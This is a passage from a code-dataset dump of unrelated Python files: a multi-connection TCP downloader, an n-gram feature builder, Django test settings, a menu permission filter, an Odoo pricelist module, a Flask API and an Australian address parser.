open(os.path.join(output_location.split(\".\")[0],\"csv.txt\"),'rb') as csv_file:\n\t\t\tthread_no = pickle.load(csv_file)\n\t\t\tcsv_file.close()\n\n\t\t# calculate start_byte and end_byte of every chunk from download status\n\t\tstart_byte = thread_no[0][0] + 1\n\t\tend_byte = thread_no[0][1]\n\t\tbyte_range.append([start_byte, end_byte])\n\t\tfor n in range(1, num_connections):\n\t\t\tstart_byte = end_byte + thread_no[n][0] + 1\n\t\t\tend_byte += thread_no[n][1]\n\t\t\tbyte_range.append([start_byte, end_byte])\n\n\t# create n tcp sockets\n\tfor n in range(num_connections):\n\t\tsock = socket(AF_INET, SOCK_STREAM)\n\t\tsock.connect((host,port))\n\t\tsockets_list.append(sock)\n\n\t# starting the metric interval thread\n\tt = threading.Timer(metric_interval, progress,[metric_interval,thread_no])\n\tt.start() \n\n\t# starting all threads to download data chunks from start_byte to end_byte\n\tfor n in range(num_connections):\n\t\tt = threading.Thread(target=download, args=(byte_range[n][0],byte_range[n][1],n,thread_no,sockets_list,))\n\t\tt.start()\n\t\tthreads.append(t)\n\n\t# synchronizing all threads\n\tfor t in threads:\n\t\tt.join()\n\n\tglobal flag\n\tflag = 0\n\n\t# combining all chunks data to a large final.txt file\n\twith open(os.path.join(output_location.split(\".\")[0],\"final.txt\"),'wb') as final_file:\n\t\tfor thread_num in range(num_connections):\n\t\t\twith open(os.path.join(output_location.split(\".\")[0], str(thread_num) + \".txt\"),'rb') as output_file:\n\t\t\t\tfinal_file.write(output_file.read())\n\tprint(thread_no)\n\tprint(\"Download Successful!\")\n\nif __name__ == '__main__':\n\t# client.py -r -n -i -c -f -o \n\targc = len(sys.argv)\n\n\t# check for correct no of arguments given\n\tif argc < 11:\n\t\tprint(\"Usage: \" + sys.argv[0] + \" -r -n -i -c -f -o \")\n\t\texit()\n\n\t# check for resuming\n\tif sys.argv[1] == \"-r\":\n\t\tresume = True\n\telse:\n\t\tresume = False\n\n\t# assigning command line arguments to variables\n\toutput_location = sys.argv[argc-1]\n\tfile_location = sys.argv[argc-3]\n\tconnection_type = sys.argv[argc-5]\n\tmetric_interval = float(sys.argv[argc-7])\n\tnum_connections = int(sys.argv[argc-9])\n\n\tsockets_list = []\n\tthreads = []\n\tthread_no = []\n\tport = 80\n\n\t# check if url was given\n\tif re.search(\"www\",file_location) is not None:\n\t\thost = urlparse(file_location).netloc\n\t\tfile_location = urlparse(file_location).path\n\telse:\n\t\thost = \"localhost\"\n\n\t# create destination directory if not exists\n\tif not os.path.exists(output_location.split(\".\")[0]):\n\t\tos.mkdir(output_location.split(\".\")[0])\n\t\n\t# check for connection type\n\tif connection_type == \"TCP\":\n\t\ttcp_connection(thread_no)\n\telif connection_type == \"UDP\":\n\t\tprint(\"Try TCP!\")","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":7363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"380496423","text":"import string\n\nfrom helper import *\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom bs4 import BeautifulSoup\nfrom scipy.sparse import hstack\n\n\ndef build_matrices(max_ngram_length=4):\n N_train = 2500\n N_test = 1827\n\n itertrain = range(1, N_train + 1)\n itertest = range(1, N_test + 1)\n\n def preprocess(text):\n if text:\n # Strip HTML\n soup = BeautifulSoup(text, 'lxml')\n\n # Remove punctuation\n only_text = ''.join([i if i in string.ascii_letters else ' ' for i in soup.get_text()])\n return only_text\n else:\n return ''\n\n bigram_vectorizer = CountVectorizer(ngram_range=(1, max_ngram_length), token_pattern=r'\\b\\w+\\b', \n min_df=1, stop_words='english', decode_error='ignore')\n analyzer = bigram_vectorizer.build_analyzer()\n\n def tokenize(text):\n return set(analyzer(text))\n\n\n def parse_body(message):\n return tokenize(preprocess(get_body(message)))\n\n def parse_subject(message):\n if get_subject(message):\n return tokenize(preprocess(get_subject(message)))\n else:\n return set()\n\n\n # Find all the unique ngrams \n unique_ngrams_body_train = set()\n unique_ngrams_subject_train = set()\n\n for i in itertrain:\n message = get_message(i, 'tr')\n\n ngrams_body = parse_body(message)\n unique_ngrams_body_train.update(ngrams_body)\n\n ngrams_subject = parse_subject(message)\n unique_ngrams_subject_train.update(ngrams_subject) \n \n unique_ngrams_body_test = set()\n unique_ngrams_subject_test = set()\n\n for i in itertest:\n message = get_message(i, 'tt')\n\n ngrams_body = parse_body(message)\n unique_ngrams_body_test.update(ngrams_body)\n\n ngrams_subject = parse_subject(message)\n unique_ngrams_subject_test.update(ngrams_subject) \n\n\n # Find the ngrams present both in the test and train parts\n ngram_list_body = list(unique_ngrams_body_train.intersection(unique_ngrams_body_test))\n ngram_list_subject = list(unique_ngrams_subject_train.intersection(unique_ngrams_subject_test))\n\n ngram_list = ngram_list_subject + ngram_list_body\n\n\n # Construct the feature matrices\n body_vectorizer = CountVectorizer(ngram_range=(1, max_ngram_length), token_pattern=r'\\b\\w+\\b', vocabulary=ngram_list_body,\n min_df=1, stop_words='english', decode_error='ignore', binary=True)\n\n matrix_body_train = body_vectorizer.transform(\n [preprocess(get_body(get_message(i, 'tr'))) for i in itertrain])\n\n matrix_body_test = body_vectorizer.transform(\n [preprocess(get_body(get_message(i, 'tt'))) for i in itertest])\n\n subject_vectorizer = CountVectorizer(ngram_range=(1, max_ngram_length), token_pattern=r'\\b\\w+\\b', vocabulary=ngram_list_subject,\n min_df=1, stop_words='english', decode_error='ignore', binary=True)\n matrix_subject_train = subject_vectorizer.transform(\n [preprocess(get_subject(get_message(i, 'tr'))) for i in itertrain]) \n matrix_subject_test = subject_vectorizer.transform(\n [preprocess(get_subject(get_message(i, 'tt'))) for i in itertest]) \n\n matrix_train = hstack([matrix_subject_train, matrix_body_train])\n matrix_test = hstack([matrix_subject_test, matrix_body_test])\n\n return (matrix_train, matrix_test, ngram_list)\n","sub_path":"challenges/challenge_04/utilities.py","file_name":"utilities.py","file_ext":"py","file_size_in_byte":3518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"388735075","text":"import django # noqa: F401\n\nDEBUG = False\nTIME_ZONE = 'UTC'\nUSE_TZ = True\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = \"^e8thszumk=vywe=-9!6aizo^+h*rf2v8$88*_*@^194&-^3)n\"\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.postgresql',\n 'HOST': 'localhost',\n 'PORT': 5432,\n 'NAME': 'accounts_dev',\n 'USER': 'django_dev',\n 'PASSWORD': 'django_dev',\n 'ATOMIC_REQUESTS': False,\n 'AUTOCOMMIT': True,\n }\n}\n\nROOT_URLCONF = \"tests.urls\"\n\nINSTALLED_APPS = [\n 'fd_dj_accounts',\n]\n\nMIDDLEWARE = ()\n\n###############################################################################\n# auth and package-related\n###############################################################################\n\nAUTHENTICATION_BACKENDS = [\n 'fd_dj_accounts.auth_backends.AuthUserModelAuthBackend',\n]\nAUTH_USER_MODEL = 'fd_dj_accounts.User'\nAPP_ACCOUNTS_SYSTEM_USERNAME = 'accounts-system-user@localhost'\n","sub_path":"tests/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"575562413","text":"\ndef filter_by_permission(permissions):\n from menu import menu\n permissions = [\n '/{}'.format(x.replace('.index', '').replace('.', '/')) for x in permissions]\n\n if len(permissions) < 1:\n return []\n\n def edit_link(string):\n string = string\n string = string.split('/')\n\n if len(string) > 3:\n string = '/'.join(string[0:4])\n return string\n\n string = '/'.join(string)\n return string\n\n def filter(my_json):\n if my_json.get('menu', None) is not None:\n my_obj = my_json['menu']\n\n if isinstance(my_obj, list) and my_obj[0].get('menu', None) is not None:\n for i in range(len(my_obj)):\n my_obj[i]['menu'] = [x for x in my_obj[i]\n ['menu'] if edit_link(x['link']) in permissions]\n my_json['menu'] = [x for x in my_obj if len(x['menu']) > 0]\n else:\n my_obj = [x for x in my_obj if edit_link(x['link']) in permissions]\n my_json['menu'] = [x for x in my_obj if len(my_obj) > 0]\n\n return my_json\n\n else:\n if my_json['link'] not in permissions: \n my_json['link'] = []\n \n return my_json\n\n # lista = [filter(x) for x in menu if len(filter(x).get('menu', 'link')) > 0]\n lista = [filter(x) for x in menu if len(filter(x).get('menu', x.get('link', []))) > 0]\n\n return lista\n\n","sub_path":"imts/filter_by_permission.py","file_name":"filter_by_permission.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"490781701","text":"# -*- encoding: utf-8 -*-\nimport time, datetime\nfrom collections import defaultdict, OrderedDict\nfrom operator import itemgetter\nfrom itertools import groupby\nimport math\nfrom odoo import models, fields, api, _, tools, SUPERUSER_ID\nimport odoo.addons.decimal_precision as dp\nfrom odoo.tools import float_compare, float_round, float_is_zero\nfrom odoo.exceptions import UserError, ValidationError\n\n\nclass product_pricelist(models.Model):\n _inherit = 'product.pricelist'\n _description = u'价格表'\n\n llc = fields.Integer(u'LLC')\n\n @api.multi\n def compute_product_pricelist_list(self):\n self._cr.execute(\"\"\"\n select update_llc_from_pricelist();\n delete from product_pricelist_list;\n \"\"\")\n objs=self.env['product.pricelist'].search([],order='llc')\n for x in objs:\n x.compute_product_pricelist_list_one()\n\n @api.multi\n def compute_product_pricelist_list_one(self):\n self.ensure_one()\n self._cr.execute(\"\"\"\n delete from product_pricelist_list where pricelist_id=%s\n \"\"\" % (self.id,))\n product_pricelist_lists = []\n today = fields.Date.context_today(self)\n for item in self.item_ids: # 生失效日期\n if today < item.date_start or (item.date_end < today and item.date_end):\n continue\n products_qty_partners = []\n if item.applied_on == '0_product_variant' and item.product_id:\n products_qty_partners = [(item.product_id, 1.0, None)]\n elif item.applied_on == '1_product' and item.product_tmpl_id:\n products_qty_partners = [(p, 1.0, None) for p in item.product_tmpl_id.product_variant_ids]\n elif item.applied_on == '2_product_category' and item.categ_id:\n objs = self.env['product.product'].search([('categ_id', '=', item.categ_id.id)])\n products_qty_partners = [(p, 1.0, None) for p in objs]\n else:\n objs = self.env['product.product'].search([])\n products_qty_partners = [(p, 1.0, None) for p in objs]\n\n for products_qty_partner in products_qty_partners:\n result = self._compute_price_rule([products_qty_partner])\n for k, v in result.iteritems():\n product_pricelist_lists.append((self.id,self.currency_id.id, k, v[0], item.date_start or None, item.date_end or None))\n if product_pricelist_lists:\n self._cr.executemany(\n 'insert into product_pricelist_list (pricelist_id,currency_id,product_id,price,date_start,date_end) values (%s,%s,%s,%s,%s,%s)',\n product_pricelist_lists)\n\n def init(self):\n self._cr.execute(\"\"\"\n CREATE OR REPLACE FUNCTION public.update_llc_from_pricelist()\n RETURNS void AS\n $BODY$\n DECLARE\n /*\n 由 pricelist 计算 pricelist LLC\n select update_llc_from_pricelist()\n select llc from product_pricelist\n */\n -- 声明段\n BEGIN\n create local temporary table if not exists tmp_pro (id integer, llc integer);\n insert into tmp_pro( id, llc)\n select id,0 as llc\n from product_pricelist;\n\n create local temporary table if not exists tmp_wo (product_id integer, material integer,llc integer);\n insert into tmp_wo (product_id, material,llc)\n select distinct base_pricelist_id as parent_id,pricelist_id, 0 as llc--,date_start,date_end\n from product_pricelist_item\n where base='pricelist'\n and base_pricelist_id is not null\n and pricelist_id is not null\n and pricelist_id<>base_pricelist_id;\n --and ((current_date between date_start and date_end) or (date_start <=current_date and date_start is null));\n\n WITH RECURSIVE LowerLevelCode(id, llc) AS (\n SELECT id,max(llc)\n FROM tmp_pro a\n group by id\n UNION ALL\n SELECT a.material,b.llc + 1\n FROM tmp_wo a,LowerLevelCode b\n WHERE a.product_id= b.id\n and b.llc<10\n )\n update tmp_pro set LLC=( select Max(LLC) as LLc\n from LowerLevelCode\n group by id\n having tmp_pro.id= LowerLevelCode.id);\n\n update product_pricelist set llc=0;\n update product_pricelist a set llc=b.llc\n from tmp_pro b\n where a.id=b.id;\n\n drop table tmp_pro;\n drop table tmp_wo;\n END;\n $BODY$\n LANGUAGE plpgsql VOLATILE\n COST 100;\n\n \"\"\")\n\n\nclass PricelistItem(models.Model):\n _inherit = \"product.pricelist.item\"\n\n percent_price = fields.Float('Percentage Price',digits=dp.get_precision('Discount'))","sub_path":"myaddons/product_pricelist_ex/model/product_pricelist.py","file_name":"product_pricelist.py","file_ext":"py","file_size_in_byte":5265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"551216746","text":"from flask_restful import Resource, request\nimport json\nimport app.messages.messages as MSG\nimport app.api.v1_0.utils.helpers as Helpers\n\n# A list of the available json file in each language mapping its path\njson_file = {\n \"en\": \"data/v1_0/services_en.json\",\n \"fr\": \"data/v1_0/services_fr.json\",\n}\n\n# The default path if language doesn't math any of them\njson_def = \"data/v1_0/services_en.json\"\n\n# The Service class returns a single\n# item from the give parameter\nclass OneService(Resource):\n # GET Request\n def get(self, lang, identifier):\n\n # Open the file according to the language queried\n with open(json_file.get(lang, json_def)) as services_file:\n\n # Get the services\n services = json.load(services_file)\n\n # Get the queried service\n service = [\n next(filter(lambda x: x[\"identifier\"] == identifier, services), None)\n ]\n\n # Checks if not empty\n if service:\n return (\n MSG.Message.content_service(service),\n 200,\n )\n else:\n return (\n MSG.Message.CONTENT_NOT_FOUND,\n 404,\n )\n\n\n# The Services class which returns\n# a list of all available services\nclass AllServices(Resource):\n # GET Request\n def get(self, lang):\n\n # Open the file according to the language queried\n with open(json_file.get(lang, json_def)) as services_file:\n\n # Get the services\n services = json.load(services_file)\n\n # Get the arguments passed\n args = request.args\n\n # Process services\n services = Helpers.Utils.sort_queried_service(args, services)\n\n # Returns the output in the correct format\n return (\n MSG.Message.content_services(services),\n 200,\n ) # 200 OK HTTP VERB\n\n\n# The Emergencies class returns all services with Type 'E' ONLY\n# Type 'E' here means emergencies services\nclass EmergencyOnly(Resource):\n\n # GET Request\n def get(self, lang):\n\n # Open the file according to the language queried\n with open(json_file.get(lang, json_def)) as services_file:\n\n # Get the services\n services = json.load(services_file)\n\n # Get emergencies only\n emergencies = list(filter(lambda x: x[\"type\"] == \"E\", services))\n\n # Get the arguments passed\n args = request.args\n\n # Process services\n emergencies = Helpers.Utils.sort_queried_service(args, emergencies)\n\n # Checks if not empty\n if emergencies:\n return (\n MSG.Message.content_service(emergencies),\n 200,\n )\n else:\n return (\n MSG.Message.CONTENT_NOT_FOUND,\n 404,\n )\n","sub_path":"app/api/v1_0/models/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":2977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"203087037","text":"__author__ = 'luan'\nimport pyparsing as pp\nimport re\nimport mongotute\nimport addressparser\nimport string\nfrom geocode.google import GoogleGeocoderClient\nimport difflib\n\n\ntry:\n import logger\n log = logger.getlogger()\nexcept:\n import logging\n log = logging.getlogger()\n\nunicodePrintables = u''.join(unichr(c) for c in xrange(65536)\n if not unichr(c).isspace())\nSTREET_TYPE = 'STREET ST STR \\\nBOULEVARD BLVD BVD \\\nLANE LN \\\nROAD RD \\\nAVENUE AVE \\\nCIRCLE CIR \\\nCOVE CV \\\nDRIVE DR DV \\\nPARKWAY PKWY \\\nCOURT CT \\\nSQUARE SQ \\\nALLEY ALY ALLY \\\nARCADE ARC \\\nMANOR MNR \\\nTRAIL TRL \\\nROW \\\nMEWS \\\nTERRACE TER TCE TRACE TRCE \\\nCRESCENT CRES CRESC CRS \\\nRISE \\\nCIRCUS CIR CIRCLE CIRC CIRCUIT \\\nESPLANADE ESP \\\nPARADE PDE \\\nPROMENADE PROM \\\nPLACE PL \\\nOVAL QUADRANT \\\nHIGHWAY HWAY HWY H/WAY \\\nLOOP LP'\nacronym = lambda s: pp.Regex(r\"\\b\"+r\"\\.?,?\".join(s)+r\"\\.?\\b,?\", flags=re.IGNORECASE)\nstate_acronym = lambda s: pp.Regex(s, flags=re.IGNORECASE)\n\n\n\n\nstates = {\n 'NEW SOUTH WALES': 'NSW',\n 'QUEENSLAND': 'QLD',\n 'WESTERN AUSTRALIA': 'WA',\n 'SOUTH AUSTRALIA': 'SA',\n 'NORTHERN TERRITORY': 'NT',\n 'AUSTRALIAN CAPITAL TERRITORY': 'ACT',\n 'TASMANIA': 'TAS',\n 'VICTORIA': 'VIC'\n}\n\n# GET CONNECTON FROM MONGODB\nconn = mongotute.get_connection()\ndb = conn.mydb\ntb = db.pcdb\ngeotb = db.geo\ncountriestb = db.countries\ngeocoder = GoogleGeocoderClient(False) # must specify sensor parameter explicitely\n\nm_parser = addressparser.addressparser.AddressParser()\nm_lookup = addressparser.addressparser.AddressLookup()\n\n\ndef get_me_countries():\n _resultset = countriestb.find()\n country_codes = []\n country_names = []\n for each_result in _resultset:\n country_codes.append(each_result['country_code'].encode('utf-8'))\n country_names.append(each_result['country_name'].encode('utf-8'))\n return zip(country_codes, country_names)\n\ncountriesset = get_me_countries()\n\n\ndef is_address_good(address):\n\n m_parser.parse(address)\n\n dpi = m_parser.getMeThis('DPI')\n\n if dpi != '0':\n return True\n\n return False\n\ndef is_state_in_pcdb(state):\n a = {\n 'state': state.upper()\n }\n results = tb.find(a)\n if results.count() > 0:\n return True\n return False\n\ndef is_postcode_in_pcdb(postcode):\n a = {\n 'postcode': postcode\n }\n results = tb.find(a)\n if results.count() > 0:\n return True\n return False\n\n\ndef is_suburb_in_pcdb(suburb):\n a = {\n 'suburb': suburb.upper()\n }\n results = tb.find(a)\n if results.count() > 0:\n return True\n return False\n\ndef is_suburb_in_pcdb_fuzzy(suburb):\n suburbs = give_me_suburbs(suburb.upper())\n\n for suburb in suburbs:\n a = {\n 'suburb': suburb.upper()\n }\n results = tb.find(a)\n if results.count() > 0:\n return True\n return False\n\ndef is_ssp_in_pcdb(suburb, state, postcode):\n a = {\n 'suburb': suburb.upper(),\n 'state': state.upper(),\n 'postcode': postcode\n }\n results = tb.find(a)\n if results.count() > 0:\n return True\n return False\n\ndef is_ssp_in_pcdb_fuzzy(suburb, state, postcode):\n _addresses, _suburb = check_street_in_text(suburb)\n\n if _addresses and not is_suburb_in_pcdb(_addresses):\n return False\n\n _addresses, _suburb = check_pobox_in_text(suburb)\n if _addresses:\n return False\n\n suburbs = give_me_suburbs(suburb.upper())\n\n for suburb in suburbs:\n a = {\n 'suburb': suburb.upper(),\n 'state': state.upper(),\n 'postcode': postcode\n }\n results = tb.find(a)\n if results.count() > 0:\n return True\n return False\n\ndef is_sup_in_pcdb_fuzzy(suburb, state, postcode, cond='SuStP'):\n suburbs = give_me_suburbs(suburb.upper())\n log.info(suburbs)\n a = {}\n # if 'St' in cond:\n # a['state'] = state\n # if 'P' in cond:\n # a['postcode'] = postcode\n #\n is_good = False\n _state = ''\n _postcode = ''\n\n while suburbs:\n a['suburb'] = suburbs.pop()\n results = tb.find(a)\n if results.count() > 0:\n is_good = True\n break\n # list_of_state = mongo_to_list(results, 'state')\n # list_of_postcode = mongo_to_list(results, 'postcode')\n #\n # # Update state\n # if 'P' in cond and len(list_of_state) == 1 and state.upper() != list_of_state[0].upper():\n # _state = list_of_state[0]\n # # Update postcode\n # if 'St' in cond and len(list_of_postcode) == 1 and postcode.upper() != list_of_postcode[0].upper():\n # _postcode = list_of_postcode[0]\n\n return is_good, suburbs\n\ndef rename_split_state(text):\n _state_keys = states.keys()\n _state = state_acronym(_state_keys.pop())\n for x in _state_keys:\n _state = _state | state_acronym(x)\n\n for t, start, end in _state.scanString(text):\n return text.replace(t[0], states[t[0]])\n\n return text\n\ndef mongo_to_list(resultset, key):\n a = []\n for result in resultset:\n try:\n a.index(result[key])\n except ValueError:\n a.append(result[key])\n return a\n\ndef mongo_to_3list(resultset):\n a = []\n b = []\n c = []\n for result in resultset:\n try:\n a.index(result['suburb'])\n except ValueError:\n a.append(result['suburb'])\n try:\n b.index(result['state'])\n except ValueError:\n b.append(result['state'])\n try:\n c.index(result['postcode'])\n except ValueError:\n c.append(result['postcode'])\n return a, b, c\n\ndef parlinkr_resultset(resultset):\n\n results = []\n if resultset:\n for each_result in resultset:\n fields = each_result.split('\\t')\n fields.pop()\n fields = [x.encode('utf-8') for x in fields]\n results.append(fields)\n return results\n\n\ndef check_mt_word(f):\n def wrapped_f(*args):\n text = f(*args)\n mt = pp.Combine(pp.Keyword(\"MT\") + pp.Optional(\".\").suppress())\n for t, start, end in mt.scanString(text):\n text = text.replace(t[0], 'MOUNT ').strip()\n #return text.replace(match_t, states[match_t])\n\n return text.replace(' ', ' ')\n return wrapped_f\n\ndef check_lwr_word(f):\n def wrapped_f(*args):\n text = f(*args)\n mt = pp.Combine(\"LWR\" + pp.Optional(\".\"))\n for t, start, end in mt.scanString(text):\n #log.info(t[0])\n text = text.replace(t[0], 'LOWER ').strip()\n #return text.replace(match_t, states[match_t])\n return text.replace(' ', ' ')\n return wrapped_f\n\ndef check_nsew_word(f):\n def wrapped_f(*args):\n text = f(*args)\n nsew = pp.WordStart() + pp.Combine(pp.oneOf(\"N S E W\") + pp.Optional(\".\")) + pp.WordEnd()\n #mount walker\n for t, start, end in nsew.scanString(text):\n _t = ''\n if t[0][0].startswith('N'):\n _t = 'NORTH'\n elif t[0][0].startswith('S'):\n _t = 'SOUTH'\n elif t[0][0].startswith('E'):\n _t = 'EAST'\n elif t[0][0].startswith('W'):\n _t = 'WEST'\n else:\n pass\n text = text.replace(t[0], _t)\n\n return text.replace(' ', ' ')\n return wrapped_f\n\n\n@check_lwr_word\n@check_nsew_word\n@check_mt_word\ndef rename_split_suburb(text):\n return text.upper()\n\n\ndef split_suburb_state_postcode(text):\n \"\"\"\n Split suburb, state, postcode\n \"\"\"\n #x = [ord(x) for x in text.decode('utf-8')]\n #log.info(x)\n # \"\\xe2\\x80\\x99\" -- right single quotation\n # \"\\xe2\\x80\\x98\" -- left single quotation\n word = pp.Word(pp.alphanums+\"'.,\\\"/-`\" + \"\\xe2\\x80\\x99\" + \"\\xe2\\x80\\x98\")\n #word = pp.Word(unicodePrintables)\n _state = (acronym('NSW') | acronym('QLD') | acronym('VIC') | acronym('ACT') | acronym('TAS') | acronym('NT')\n | acronym('SA') | acronym('WA') | acronym('Q')).setResultsName('state')\n #log.info(_state)\n #_postcode = pp.Regex(r\"\\d{3,4}$\", flags=re.IGNORECASE).setResultsName(\"postcode\")\n _postcode = pp.Word(pp.nums+\".,\", min=3).setResultsName(\"postcode\")\n #_suburb = pp.Group(word + pp.ZeroOrMore(~_state+word)).setResultsName(\"suburb\")\n _suburb = pp.Group(pp.OneOrMore(~_state+~_postcode+word)).setResultsName(\"suburb\")\n ssp = pp.Optional(_suburb) + pp.Optional(_state) + pp.Optional(_postcode + pp.lineEnd())\n try:\n result = ssp.parseString(text.replace(\",\", \", \"))\n except pp.ParseException:\n log.info(text)\n raise\n try:\n suburb = ' '.join(result['suburb'])\n except KeyError:\n suburb = ''\n\n try:\n state = result['state']\n if state == 'Q':\n state = 'QLD'\n except KeyError:\n state = ''\n\n try:\n postcode = result['postcode']\n # make sure it is australia postcode\n except KeyError:\n postcode = ''\n\n # do final check\n if suburb.endswith('PRIVATE BOXES'):\n suburb = text\n state = ''\n postcode = ''\n log.info(suburb)\n return suburb, state, postcode\n\ndef check_street_in_text(text):\n \"\"\"\n Split suburb, state, postcode\n \"\"\"\n suburb = ''\n address = ''\n #ALLEY|ALY|ALLY|ARCADE|ARC|AVENUE|AVE|BOULEVARD|BLVD|BVD|ROAD|RD|STREET|ST|STR|DRIVE|DR|DRV\n # |CLOSE|CL|LANE|LN|MANOR|MNR|MEWS|PLACE|PL|ROW|TERRACE|TER|TCE|TRACE|TRCE|TRAIL|TRL|COURT|\n # CT|CIRCUS|CIR|CIRCLE|CIRC|CIRCUIT|CRESCENT|CRES|CRESC|LOOP|OVAL|QUADRANT|\n # SQUARE|SQ|GROVE|GRV|PARKWAY|PKWY|RISE|ESPLANADE|ESP|PARADE|PDE|PROMENADE|PROM|WALK|HIGHWAY|HWY\n\n street_type = pp.Combine(pp.MatchFirst(map(pp.Keyword, STREET_TYPE.split())) + pp.Optional(\".\").suppress())\n\n for t, start, end in street_type.scanString(text):\n if start > 0:\n address = text[:end]\n suburb = text[end:]\n return address, suburb\n\ndef check_pobox_in_text(text):\n \"\"\"\n Split suburb, state, postcode\n \"\"\"\n suburb = ''\n address = ''\n #ALLEY|ALY|ALLY|ARCADE|ARC|AVENUE|AVE|BOULEVARD|BLVD|BVD|ROAD|RD|STREET|ST|STR|DRIVE|DR|DRV\n # |CLOSE|CL|LANE|LN|MANOR|MNR|MEWS|PLACE|PL|ROW|TERRACE|TER|TCE|TRACE|TRCE|TRAIL|TRL|COURT|\n # CT|CIRCUS|CIR|CIRCLE|CIRC|CIRCUIT|CRESCENT|CRES|CRESC|LOOP|OVAL|QUADRANT|\n # SQUARE|SQ|GROVE|GRV|PARKWAY|PKWY|RISE|ESPLANADE|ESP|PARADE|PDE|PROMENADE|PROM|WALK|HIGHWAY|HWY\n poboxnumber = pp.Combine(pp.Optional(pp.Word(pp.alphas, max=1) + pp.CaselessLiteral(\" \")) + pp.Word(pp.nums) + pp.Optional(pp.CaselessLiteral(\" \") + pp.Word(pp.alphas, max=2)))\n poboxref = ((acronym(\"PO\") | acronym(\"LPO\") | acronym(\"GPO\") | acronym(\"CMA\") | acronym(\"CMB\") | acronym(\"CPA\")\n | acronym(\"MS\") | acronym(\"RMB\") | acronym(\"RMS\") | acronym(\"RSD\") | acronym(\"POSTAL\")) +\n pp.Optional(pp.CaselessLiteral(\"BOX\"))) + poboxnumber\n\n for t, start, end in poboxref.scanString(text):\n #log.info(t)\n address += text[:end] + ' '\n suburb += text[end:] + ' '\n return address.strip(), suburb.strip()\n\ndef nsew_suburb(text):\n nsew = pp.WordStart() + pp.Combine(pp.oneOf(\"NORTH SOUTH EAST WEST N E W S NTH STH\") + pp.Optional(\".\").suppress()) + pp.WordEnd()\n nsew_pt_mt = pp.OneOrMore(nsew).setResultsName(\"direction\")\n\n is_first = False\n is_last = False\n\n # west footscray\n suburb_with_nsew_pt_mt_first = nsew_pt_mt + pp.OneOrMore(pp.Word(pp.alphanums+\"'.,\\\"/-`\")).setResultsName(\"suburb\")\n\n # footscray west\n suburb_with_nsew_pt_mt_last = pp.OneOrMore(~nsew_pt_mt + pp.Word(pp.alphanums+\"'.,\\\"/-`\")).setResultsName(\"suburb\") + nsew_pt_mt\n try:\n result = suburb_with_nsew_pt_mt_last.parseString(text)\n is_last = True\n except pp.ParseException:\n try:\n result = suburb_with_nsew_pt_mt_first.parseString(text)\n is_first = True\n except pp.ParseException:\n pass\n\n if is_first or is_last:\n directions = result[\"direction\"]\n suburbs = result[\"suburb\"]\n for idx, direction in enumerate(directions):\n if direction.startswith('N'):\n directions[idx] = 'NORTH'\n elif direction.startswith('S'):\n directions[idx] = 'SOUTH'\n elif direction.startswith('E'):\n directions[idx] = 'EAST'\n elif direction.startswith('W'):\n directions[idx] = 'WEST'\n if is_first:\n return \"{1} {0}\".format(' '.join(suburbs), ' '.join(directions)), \"{0} {1}\".format(' '.join(suburbs), ' '.join(directions))\n else:\n return \"{1} {0}\".format(' '.join(directions), ' '.join(suburbs)), \"{0} {1}\".format(' '.join(directions), ' '.join(suburbs))\n return None\n\n\ndef give_me_suburbs(text):\n punc=\"`'-/\"\n suburbs = pp.Word(pp.alphanums + punc)\n _suburbs = []\n for t, start, end in suburbs.scanString(text):\n _suburbs.append(t[0])\n\n intab = \"\"\n outtab = \"\"\n trantab = string.maketrans(intab, outtab)\n\n _suburbs = map(lambda x: x.translate(trantab, punc), _suburbs)\n _suburb1 = []\n\n while True:\n try:\n i = _suburbs.index('VIA')\n if i > 0:\n _suburb1 = _suburbs[i+1:]\n _suburbs = _suburbs[:i] # possibly street\n else:\n _suburbs.pop(i)\n except ValueError:\n break\n result = []\n extras = []\n\n #make sure _suburbs is not street\n\n for a in [' '.join(_suburbs), ' '.join(_suburb1)]:\n if a.startswith(\"OBIL\") or \\\n a.startswith(\"OBRIEN\") or \\\n a.startswith(\"OCONNOR\") or \\\n a.startswith(\"OCONNELL\") or \\\n a.startswith(\"OHALLORAN\") or \\\n a.startswith(\"OSULLIVAN\") or \\\n a.startswith(\"DAGUILAR\") or \\\n a.startswith(\"DESTREES\"):\n a = a[0] + \"'\" + a[1:]\n if a.endswith(' ST'):\n a += 'REET'\n if ' ST ' in a:\n a = a.replace(' ST ', ' STREET ')\n\n # footscray west --> we have to check west footscray\n extra_suburbs = nsew_suburb(a)\n if extra_suburbs:\n for extra_suburb in extra_suburbs:\n extras.append(extra_suburb)\n\n result.append(a)\n\n result = [x for x in result if x]\n\n if 'WATTLETREE RD POST OFFICE' in result:\n extras.append('WATTLETREE ROAD PO')\n if 'GCMC' in result:\n extras.append('GOLD COAST MC')\n if extras:\n result.extend(extras)\n\n return result\n\ndef give_me_state(suburb, postcode):\n if suburb is not None:\n if postcode is not None:\n for _suburb in give_me_suburbs(suburb):\n a = {\n 'suburb': _suburb.upper(),\n 'postcode': postcode\n }\n results = tb.find(a)\n results = mongo_to_list(results, 'state')\n if len(results) == 1:\n return results[0].encode('utf-8')\n else:\n a = {\n 'postcode': postcode\n }\n results = tb.find(a)\n results = mongo_to_list(results, 'state')\n if len(results) > 1:\n return results\n\n else:\n a = {\n 'postcode': postcode\n }\n results = tb.find(a)\n results = mongo_to_list(results, 'state')\n if len(results) > 0:\n return results\n\n return None\n\ndef give_me_postcode(suburb, state):\n for _suburb in give_me_suburbs(suburb):\n\n a = {\n 'suburb': _suburb.upper(),\n 'state': state.upper()\n }\n\n results = tb.find(a)\n results = mongo_to_list(results, 'postcode')\n\n if len(results) == 1:\n return 